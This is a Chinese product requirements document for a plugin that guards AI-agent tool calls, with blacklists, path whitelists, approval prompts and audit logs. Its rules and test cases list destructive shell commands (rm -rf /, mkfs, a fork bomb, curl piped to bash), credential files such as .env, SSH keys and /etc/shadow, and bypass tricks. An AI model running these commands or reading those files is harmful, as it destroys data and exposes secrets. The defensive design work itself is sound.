# PRD:dsh-plugin-tool-guard 工具调用安全守卫插件 > 在 DeepSeek-Harness 会话中提供工具调用安全守卫能力,插件作为中间件拦截每一次工具调用,基于规则引擎做危险操作识别、路径白名单校验、人工审批确认、高危操作日志审计,挂载即生效,卸载即失效,不修改任何 Agent 业务代码。 元信息 - 作者:自定义 - 版本:V1.0 - 状态:开发中 - 更新日期:2026-09-06 --- ## 1. 背景与痛点 ### 1.1 用户痛点 - Harness 允许 Agent 读文件、写文件、执行 shell,**误操作风险极高**:Agent 可能执行 `rm -rf /`、覆盖重要文件、读取敏感配置(.env、SSH 密钥)。 - 原生权限控制粒度粗,无法针对特定工具、特定路径、特定命令做精细化规则。 - 高危操作没有人工确认环节,Agent 一条指令下去可能直接造成不可逆损失。 - 缺少操作审计日志,出了问题不知道 Agent 什么时候执行了什么危险操作。 - 不同项目需要不同的安全策略(个人项目可以宽松,公司项目需要严格),缺少可配置的规则引擎。 - 现有的安全方案需要修改 Agent 主循环代码,侵入性强,无法即插即用。 ### 1.2 目标用户 所有使用 Harness 本地工具能力的用户,尤其是:在生产环境/公司项目中使用 Agent 的开发者、对文件系统安全敏感的用户、需要操作审计合规的团队。 ### 1.3 插件定位 一句话定位:Harness 工具调用防火墙插件,**插件作为中间件拦截所有工具调用**,基于可配置规则引擎做危险识别与拦截;支持路径白名单、危险命令黑名单、高危操作人工审批、全量审计日志;挂载即生效,卸载即失效,零侵入 Agent 业务代码。 --- ## 2. 范围界定 ### 2.1 ✅ V1.0 必须实现(P0) - [ ] 监听 `tool:before` 事件,拦截所有工具调用,做安全检查后放行或拒绝 - [ ] 规则引擎1:危险 shell 命令黑名单(rm -rf、mkfs、dd、shutdown、reboot 等),匹配即拒绝 - [ ] 规则引擎2:文件路径白名单(file_read / file_write 仅允许操作指定目录内的文件) - [ ] 规则引擎3:敏感文件黑名单(.env、id_rsa、.ssh/、/etc/passwd 等),禁止读取 - [ ] 规则引擎4:文件写入保护(覆盖已有文件时需要确认,删除文件需要确认) - [ ] 人工审批模式:高危操作弹窗要求用户确认(允许/拒绝),超时默认拒绝 - [ ] 审计日志:记录所有被拦截/被拒绝/被放行的工具调用(时间、工具名、入参、决策、原因) - [ ] 侧边 UI 面板:展示安全状态、今日拦截次数、最近拦截记录、规则开关 - [ ] 三种安全级别:宽松(仅拦截极危险命令)/ 标准(默认规则)/ 严格(所有写操作需审批) - [ ] 规则可配置:黑名单命令列表、白名单路径、敏感文件列表均可在配置中修改 - [ ] 插件卸载时移除所有拦截逻辑,审计日志可选择保留或清空 - [ ] 拦截时返回友好错误信息给大模型,告知被拒绝原因,让模型调整策略 ### 2.2 ⭕ V1.1 后续迭代(P1,本期不做) - [ ] 规则引擎5:命令内容深度扫描(检测命令中是否包含敏感信息泄露、curl 外发数据等) - [ ] 规则引擎6:网络请求白名单(仅允许访问指定域名) - [ ] 临时授权模式:用户可授权某条规则在 N 分钟内暂时放行 - [ ] 规则模板导入导出(JSON 格式) - [ ] 多项目规则配置(按工作目录自动切换不同规则集) - [ ] 审计日志导出为 CSV / JSON - [ ] 危险操作实时桌面通知 - [ ] 学习模式:记录用户每次审批选择,自动调整规则建议 ### 2.3 ❌ 不在本版本做(明确边界) - ❌ 不做沙箱隔离(不限制工具的系统调用级别权限,仅做规则层拦截) - ❌ 不做容器化运行(不修改 Harness 的工具执行环境) - ❌ 不做网络流量监控(仅拦截工具调用层面,不监控实际网络包) - ❌ 不替代操作系统级权限控制(用户仍需以非 root 权限运行 Harness) --- ## 3. 功能详细需求 ### 3.1 用户触发方式 - 插件加载后根据配置自动开始拦截,无需用户手动触发 - 自然语言触发:`查看安全状态`、`今日拦截了什么`、`切换安全级别`、`临时放行` - 工具调用触发:`guard_status()`、`guard_stats()`、`guard_recent_blocks()`、`guard_set_level()`、`guard_whitelist_add()` - 侧边 UI 面板:安全状态卡片 + 拦截记录 + 规则管理 - 事件自动触发:`tool:before` 事件自动拦截检查 ### 3.2 全部功能列表 #### 功能1:工具调用拦截(核心中间件) - 订阅 `tool:before` 事件,在工具执行前获取:工具名、入参、当前会话ID - 按规则引擎依次检查,任一规则命中则根据规则动作处理: - `reject`:直接拒绝执行,返回错误信息给大模型 - `approve`:需要人工审批,弹窗等待用户确认 - `allow`:放行 - 所有规则检查通过后放行工具执行 - 拦截过程不修改工具入参,仅做允许/拒绝/审批决策 #### 功能2:危险命令黑名单规则 - 内置危险命令模式列表(正则匹配): - `rm -rf /`、`rm -rf ~`、`rm -rf *`(递归删除根目录/家目录) - `mkfs`、`fdisk`、`dd if=`(磁盘格式化/写入) - `shutdown`、`reboot`、`halt`、`poweroff`(系统关机重启) - `:(){ :|:& };:`(fork 炸弹) - `chmod 777 /`、`chown -R`(系统权限篡改) - `curl ... | bash`、`wget ... | sh`(远程脚本直接执行) - 匹配 shell 工具的 command 参数,命中即 reject - 黑名单可在配置中扩展或删除 #### 功能3:文件路径白名单规则 - 配置允许操作的目录白名单(默认:当前工作目录) - file_read / file_write / file_delete 工具调用时,检查目标路径是否在白名单内 - 路径解析:解析相对路径、符号链接后的真实路径,防止 `../../` 绕过 - 不在白名单内的路径 → reject,返回"路径不在白名单内" - 白名单支持多个目录,可在配置中添加 #### 功能4:敏感文件黑名单规则 - 内置敏感文件模式列表(glob 匹配): - `**/.env`、`**/.env.*`(环境变量,含 API Key) - `**/.ssh/**`、`**/id_rsa`、`**/id_ed25519`(SSH 私钥) - `**/*.pem`、`**/*.key`(证书私钥) - `/etc/passwd`、`/etc/shadow`(系统用户文件) - `**/credentials.json`、`**/secrets.yml` - file_read 命中敏感文件 → reject - 敏感文件列表可在配置中扩展 #### 功能5:文件写入保护规则 - file_write 覆盖已有文件时 → 需要人工审批(approve) - file_delete 删除任意文件时 → 需要人工审批(approve) - file_write 创建新文件时 → 直接放行(allow) - 审批弹窗显示:操作类型、文件路径、文件大小(如已有),用户选择允许/拒绝 - 审批超时(默认 120 秒)→ 默认拒绝 #### 功能6:人工审批机制 - 命中 approve 规则时,在侧边 UI 面板弹出审批卡片 - 卡片显示:工具名、关键入参(脱敏后)、命中规则、风险说明 - 按钮:【允许本次】【拒绝】【允许本次会话】(本次会话内同类操作自动放行) - 审批期间工具调用挂起,等待用户决策 - 超时未操作 → 默认拒绝,记录到审计日志 - 审批结果记录到审计日志 #### 功能7:审计日志 - 记录所有工具调用的安全决策: - 时间戳、会话ID、轮次序号 - 工具名、入参(敏感字段脱敏) - 决策结果(allow / reject / approve_allow / approve_deny / timeout) - 命中规则名称 - 拒绝原因 - 日志保存在内存,按会话隔离 - 可查询最近 N 条记录 - 可按决策结果、工具名筛选 - 插件卸载时可选择保留(写入本地文件)或清空 #### 功能8:安全级别 - **宽松(loose)**:仅拦截极危险命令(rm -rf /、mkfs、shutdown 等),文件操作全部放行 - **标准(standard)**:默认级别。危险命令黑名单 + 敏感文件禁止读取 + 文件覆盖/删除需审批 + 路径白名单 - **严格(strict)**:所有文件写入操作需审批 + 所有 shell 命令需审批 + 敏感文件禁止读取 + 路径白名单 - 可通过配置或工具调用切换级别 #### 功能9:侧边 UI 面板 - 安全状态卡片:当前安全级别、防护状态(运行中/已暂停)、今日拦截数 - 最近拦截记录列表(时间、工具、原因) - 规则开关快速切换(危险命令/路径白名单/敏感文件/写入保护) - 审批弹窗区域(有待审批操作时显示) - 按钮:【暂停防护】【恢复防护】【清空日志】 ### 3.3 配置项(对应 cordis.patch.yml schema) | 配置key | 类型 | 默认值 | 说明 | |---|---|---|---| | enable | boolean | true | 插件总开关 | | securityLevel | string | "standard" | 安全级别:loose / standard / strict | | rules.dangerousCommands.enabled | boolean | true | 危险命令黑名单规则开关 | | rules.dangerousCommands.patterns | string[] | [内置列表] | 危险命令正则模式列表 | | rules.pathWhitelist.enabled | boolean | true | 路径白名单规则开关 | | rules.pathWhitelist.paths | string[] | [] | 允许操作的目录列表,为空则仅当前工作目录 | | rules.sensitiveFiles.enabled | boolean | true | 敏感文件黑名单规则开关 | | rules.sensitiveFiles.patterns | string[] | [内置列表] | 敏感文件 glob 模式列表 | | rules.writeProtection.enabled | boolean | true | 文件写入保护规则开关 | | rules.writeProtection.requireApprovalForOverwrite | boolean | true | 覆盖已有文件是否需要审批 | | rules.writeProtection.requireApprovalForDelete | boolean | true | 删除文件是否需要审批 | | approval.timeoutSeconds | number | 120 | 人工审批超时秒数 | | approval.defaultOnTimeout | string | "deny" | 超时默认决策:allow / deny | | audit.keepAfterUnload | boolean | false | 插件卸载时是否保留审计日志(写入本地文件) | | audit.maxRecordsPerSession | number | 200 | 单会话最大审计日志条数 | ### 3.4 UI 表现 - 侧边面板:安全状态 + 拦截记录 + 规则开关 + 审批弹窗 - 拦截发生时,主聊天流显示一条系统提示:"⚠️ 安全守卫已拦截工具调用 [工具名]:[原因]" - 审批等待时,主聊天流显示:"⏳ 等待人工审批:[操作描述],请在侧边面板确认" - 不修改模型主回答内容,所有安全相关信息以系统消息形式插入 --- ## 4. 状态与数据设计 ### 4.1 内存状态结构 ```typescript type SecurityLevel = "loose" | "standard" | "strict"; type GuardDecision = "allow" | "reject" | "approve"; type ApprovalResult = "pending" | "allowed" | "denied" | "timeout"; interface AuditLog { id: string; timestamp: number; sessionId: string; turnIndex: number; toolName: string; args: Record; // 脱敏后 decision: GuardDecision | ApprovalResult; matchedRule?: string; reason?: string; } interface PendingApproval { id: string; toolName: string; args: Record; // 脱敏后 matchedRule: string; riskDescription: string; requestedAt: number; timeoutAt: number; result: ApprovalResult; } interface RuleState { dangerousCommands: { enabled: boolean; patterns: string[] }; pathWhitelist: { enabled: boolean; paths: string[] }; sensitiveFiles: { enabled: boolean; patterns: string[] }; writeProtection: { enabled: boolean; requireApprovalForOverwrite: boolean; requireApprovalForDelete: boolean }; } interface SessionState { securityLevel: SecurityLevel; rules: RuleState; auditLogs: AuditLog[]; pendingApprovals: PendingApproval[]; sessionAllowedTools: Set; // "允许本次会话"的工具集合 paused: boolean; } ``` - 会话隔离:✅ 每个 session 独立安全状态与审计日志 - 持久化:仅内存保存;`audit.keepAfterUnload=true` 时卸载前写入本地 JSON 文件 ### 4.2 生命周期行为 1. **插件加载 apply(ctx)** - 订阅 `tool:before` 事件 - 注册安全管理工具 - 注册侧边 UI 面板(含审批弹窗) - 初始化配置与规则 - 每个新会话创建独立安全状态 2. **插件卸载 plugin:unload** - 取消事件订阅 - 处理所有待审批项(标记为 timeout_deny) - 根据配置决定是否将审计日志写入本地文件 - 清空所有会话状态 - 移除 UI 面板 - 卸载后所有工具调用不再被拦截,完全恢复原生行为 ### 4.3 自动休眠逻辑 - 用户可手动暂停防护(paused=true),暂停期间所有工具调用直接放行,但仍记录审计日志 - 暂停有超时保护(默认 10 分钟),超时后自动恢复防护,防止用户忘记恢复 - 严格级别下不允许暂停防护(需先降级到标准级别) --- ## 5. 工具与事件清单 ### 5.1 注册给大模型调用的 Tool 列表 > 注意:这些工具本身也受安全守卫检查,但属于"管理类工具",默认在白名单内不受拦截。 | tool名称 | 入参 | 返回 | 用途 | |---|---|---|---| | guard_status | 无入参 | {securityLevel, paused, activeRules, todayBlockCount} | 查询当前安全守卫状态 | | guard_stats | 无入参 | {totalChecked, allowed, rejected, approved, timeout} | 获取审计统计 | | guard_recent_blocks | limit?:number | AuditLog[] | 获取最近被拦截/拒绝的记录 | | guard_set_level | level:SecurityLevel | {success:boolean, newLevel:SecurityLevel} | 切换安全级别 | | guard_pause | durationMinutes?:number | {success:boolean, resumeAt:number} | 暂停防护(默认10分钟后自动恢复) | | guard_resume | 无入参 | {success:boolean} | 恢复防护 | | guard_whitelist_add | path:string | {success:boolean} | 向路径白名单添加目录 | | guard_whitelist_remove | path:string | {success:boolean} | 从路径白名单移除目录 | ### 5.2 监听 Harness 事件列表 | 事件名 | 用途 | |---|---| | `tool:before` | **核心**:拦截所有工具调用,执行规则引擎检查,决定放行/拒绝/审批 | | `plugin:unload` | 资源清理,处理待审批项,保存审计日志,清空状态 | > 本插件主要依赖 `tool:before` 事件做拦截,不监听其他会话事件。 --- ## 6. 安全约束 & 异常处理 ### 6.1 安全规则 - 本插件的核心价值就是安全,自身必须做到: - 不执行任何工具入参中的命令(仅做字符串匹配检查) - 不读取用户文件(除审计日志写入外) - 不发起网络请求 - 管理类工具(guard_*)默认不受拦截,但操作有日志记录 - 路径白名单检查必须解析真实路径(resolve + realpath),防止 `../../` 绕过 - 危险命令匹配使用正则,必须覆盖命令参数中的危险组合(如 `rm -rf /` 不仅匹配 `rm`) - 审计日志中的工具入参必须脱敏(api_key、password 等字段替换为 [REDACTED]) - 审批超时默认拒绝,宁可误杀不可漏放 ### 6.2 异常场景处理 1. **规则匹配出错(正则异常)**:跳过该条规则,记录警告,继续检查其他规则;所有规则异常时默认 reject(安全优先) 2. **路径解析失败(文件不存在)**:对于 file_read 不存在的文件 → 放行(让工具自身返回文件不存在错误);对于 file_write → 按创建新文件处理 3. **审批弹窗无法显示(UI 渲染失败)**:降级为在聊天流输出审批请求,用户回复"允许"/"拒绝"来决策 4. **工具入参为非预期格式**:做容错处理,缺失字段按空值处理,不崩溃 5. **审计日志达到上限**:滚动覆盖最旧记录,保留最新 N 条 6. **插件自身异常**:捕获所有异常,异常时默认 reject 工具调用(安全降级),并在面板显示"守卫异常,已进入安全锁定模式" --- ## 7. 手工测试用例 - [ ] 用例1:执行 `ls -la`(安全命令),验证被放行,审计日志记录 allow - [ ] 用例2:执行 `rm -rf /`,验证被拒绝,返回危险命令提示,审计日志记录 reject - [ ] 用例3:执行 `curl http://example.com/script.sh | bash`,验证被拒绝 - [ ] 用例4:读取白名单外的文件,验证被拒绝 - [ ] 用例5:读取 `.env` 文件,验证被敏感文件规则拒绝 - [ ] 用例6:覆盖已有文件,验证弹出审批,允许后执行,拒绝后不执行 - [ ] 用例7:删除文件,验证弹出审批 - [ ] 用例8:审批超时(120秒不操作),验证默认拒绝 - [ ] 用例9:切换宽松/标准/严格级别,验证规则集变化 - [ ] 用例10:暂停防护,验证工具调用全部放行但仍有日志;10分钟后自动恢复 - [ ] 用例11:添加路径白名单,验证该目录下文件操作被放行 - [ ] 用例12:查看最近拦截记录,验证日志完整(时间、工具、原因) - [ ] 用例13:使用 `../../` 尝试绕过路径白名单,验证被拒绝 - [ ] 用例14:插件卸载,验证工具调用不再被拦截,审计日志按配置处理 --- ## 8. 风险与待解决问题 | 风险 | 缓解方案 | |---|---| | 危险命令黑名单无法覆盖所有变种(如 `r''m -rf /`、变量拼接) | 使用多种匹配策略(命令名+参数组合、bash 语法解析);严格级别下所有 shell 命令需审批 | | 路径白名单被符号链接绕过 | 调用 realpath 解析真实路径后再检查 | | 安全守卫插件自身被 Agent 禁用/卸载 | 管理类工具操作需要二次确认;插件卸载时审计日志保留 | | 审批机制被频繁触发导致用户体验差 | 提供"允许本次会话"选项;宽松级别减少审批;学习模式记录用户偏好 | | 规则引擎性能影响工具调用速度 | 规则检查为纯字符串匹配,毫秒级完成;正则预编译缓存 | | 大模型尝试通过工具入参注入绕过检查(如在文件路径中嵌入命令) | 路径检查与命令检查分别独立执行,不依赖单一规则 | --- ## 9. 交付物清单 - cordis.patch.yml - src/index.ts(插件入口,事件订阅与工具注册) - src/guard-engine.ts(规则引擎核心,拦截决策逻辑) - src/rules/dangerous-commands.ts(危险命令黑名单规则) - src/rules/path-whitelist.ts(路径白名单规则) - src/rules/sensitive-files.ts(敏感文件黑名单规则) - src/rules/write-protection.ts(文件写入保护规则) - src/approval.ts(人工审批管理器) - src/audit.ts(审计日志管理器) - src/path-utils.ts(路径解析与安全检查工具函数) - src/types.ts(类型定义) - package.json / tsconfig.json - docs/PRD.md(本文档) - docs/api.md(接口文档) - docs/rules.md(内置规则清单与说明) - README.md 用户文档(含安全级别说明、规则配置指南) - CHANGELOG.md - LICENSE